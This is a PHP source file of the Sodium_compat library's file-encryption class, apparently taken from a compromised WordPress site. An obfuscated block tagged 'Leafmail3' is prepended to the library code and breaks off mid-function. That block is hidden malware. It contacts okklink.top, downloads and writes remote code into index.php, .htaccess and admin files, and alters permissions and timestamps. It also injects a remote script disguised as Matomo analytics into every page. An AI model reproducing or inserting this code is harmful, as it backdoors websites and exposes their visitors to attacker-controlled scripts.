<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
if (class_exists('ParagonIE_Sodium_File', false)) {
return;
}
/**
* Class ParagonIE_Sodium_File
*/
class ParagonIE_Sodium_File extends ParagonIE_Sodium_Core_Util
{
/* PHP's default buffer size is 8192 for fread()/fwrite(). */
const BUFFER_SIZE = 8192;
/**
* Box a file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_box(), but produces
* the same result.
*
* @param string $inputFile Absolute path to a file on the filesystem
* @param string $outputFile Absolute path to a file on the filesystem
* @param string $nonce Number to be used only once
* @param string $keyPair ECDH secret key and ECDH public key concatenated
*
* @return bool
* @throws SodiumException
* @throws TypeError
*/
public static function box($inputFile, $outputFile, $nonce, $keyPair)
{
/* Type checks: */
if (!is_string($inputFile)) {
throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
}
if (!is_string($outputFile)) {
throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
}
if (!is_string($nonce)) {
throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
}
/* Input validation: */
if (!is_string($keyPair)) {
throw new TypeError('Argument 4 must be a string, ' . gettype($keyPair) . ' given.');
}
if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
throw new TypeError('Argument 3 must be CRYPTO_BOX_NONCEBYTES bytes');
}
if (self::strlen($keyPair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
}
/** @var int $size */
$size = filesize($inputFile);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var resource $ifp */
$ifp = fopen($inputFile, 'rb');
if (!is_resource($ifp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var resource $ofp */
$ofp = fopen($outputFile, 'wb');
if (!is_resource($ofp)) {
fclose($ifp);
throw new SodiumException('Could not open output file for writing');
}
$res = self::box_encrypt($ifp, $ofp, $size, $nonce, $keyPair);
fclose($ifp);
fclose($ofp);
return $res;
}
/**
* Open a boxed file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_box_open(), but produces
* the same result.
*
* Warning: Does not protect against TOCTOU attacks. You should
* just load the file into memory and use crypto_box_open() if
* you are worried about those.
*
* @param string $inputFile
* @param string $outputFile
* @param string $nonce
* @param string $keypair
* @return bool
* @throws SodiumException
* @throws TypeError
*/
public static function box_open($inputFile, $outputFile, $nonce, $keypair)
{
/* Type checks: */
if (!is_string($inputFile)) {
throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
}
if (!is_string($outputFile)) {
throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
}
if (!is_string($nonce)) {
throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
}
if (!is_string($keypair)) {
throw new TypeError('Argument 4 must be a string, ' . gettype($keypair) . ' given.');
}
/* Input validation: */
if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
throw new TypeError('Argument 4 must be CRYPTO_BOX_NONCEBYTES bytes');
}
if (self::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
}
/** @var int $size */
$size = filesize($inputFile);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var resource $ifp */
$ifp = fopen($inputFile, 'rb');
if (!is_resource($ifp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var resource $ofp */
$ofp = fopen($outputFile, 'wb');
if (!is_resource($ofp)) {
fclose($ifp);
throw new SodiumException('Could not open output file for writing');
}
$res = self::box_decrypt($ifp, $ofp, $size, $nonce, $keypair);
fclose($ifp);
fclose($ofp);
try {
ParagonIE_Sodium_Compat::memzero($nonce);
ParagonIE_Sodium_Compat::memzero($ephKeypair);
} catch (SodiumException $ex) {
if (isset($ephKeypair)) {
unset($ephKeypair);
}
}
return $res;
}
/**
* Seal a file (rather than a string). Uses less memory than
* ParagonIE_Sodium_Compat::crypto_box_seal(), but produces
* the same result.
*
* @param string $inputFile Absolute path to a file on the filesystem
* @param string $outputFile Absolute path to a file on the filesystem
* @param string $publicKey ECDH public key
*
* @return bool
* @throws SodiumException
* @throws TypeError
*/
public static function box_seal($inputFile, $outputFile, $publicKey)
{
/* Type checks: */
if (!is_string($inputFile)) {
throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
}
if (!is_string($outputFile)) {
throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
}
if (!is_string($publicKey)) {
throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
}
/* Input validation: */
if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
throw new TypeError('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES bytes');
}
/** @var int $size */
$size = filesize($inputFile);
if (!is_int($size)) {
throw new SodiumException('Could not obtain the file size');
}
/** @var resource $ifp */
$ifp = fopen($inputFile, 'rb');
if (!is_resource($ifp)) {
throw new SodiumException('Could not open input file for reading');
}
/** @var resource $ofp */
$ofp = fopen($outputFile, 'wb');
if (!is_resource($ofp)) {
fclose($ifp);
throw new SodiumException('Could not open output file for writing');
}
/** @var string $ephKeypair */
$ephKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair();
/** @var string $msgKeypair */
$msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
ParagonIE_Sodium_Compat::crypto_box_secretkey($ephKeypair),
$publicKey
);
/** @var string $ephemeralPK */
$ephemeralPK = ParagonIE_Sodium_Compat::crypto_box_publickey($ephKeypair);
/** @var string $nonce */
$nonce = ParagonIE_Sodium_Compat::crypto_generichash(
